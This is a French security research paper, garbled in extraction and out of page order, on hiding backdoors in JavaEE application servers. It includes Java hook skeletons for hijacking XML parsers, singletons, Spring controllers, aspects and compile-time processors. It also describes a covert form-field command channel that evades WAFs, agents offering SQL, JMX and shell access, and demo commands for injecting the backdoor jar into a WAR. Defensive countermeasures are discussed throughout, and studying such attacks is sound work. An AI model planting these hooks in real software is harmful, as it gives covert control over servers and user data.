8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

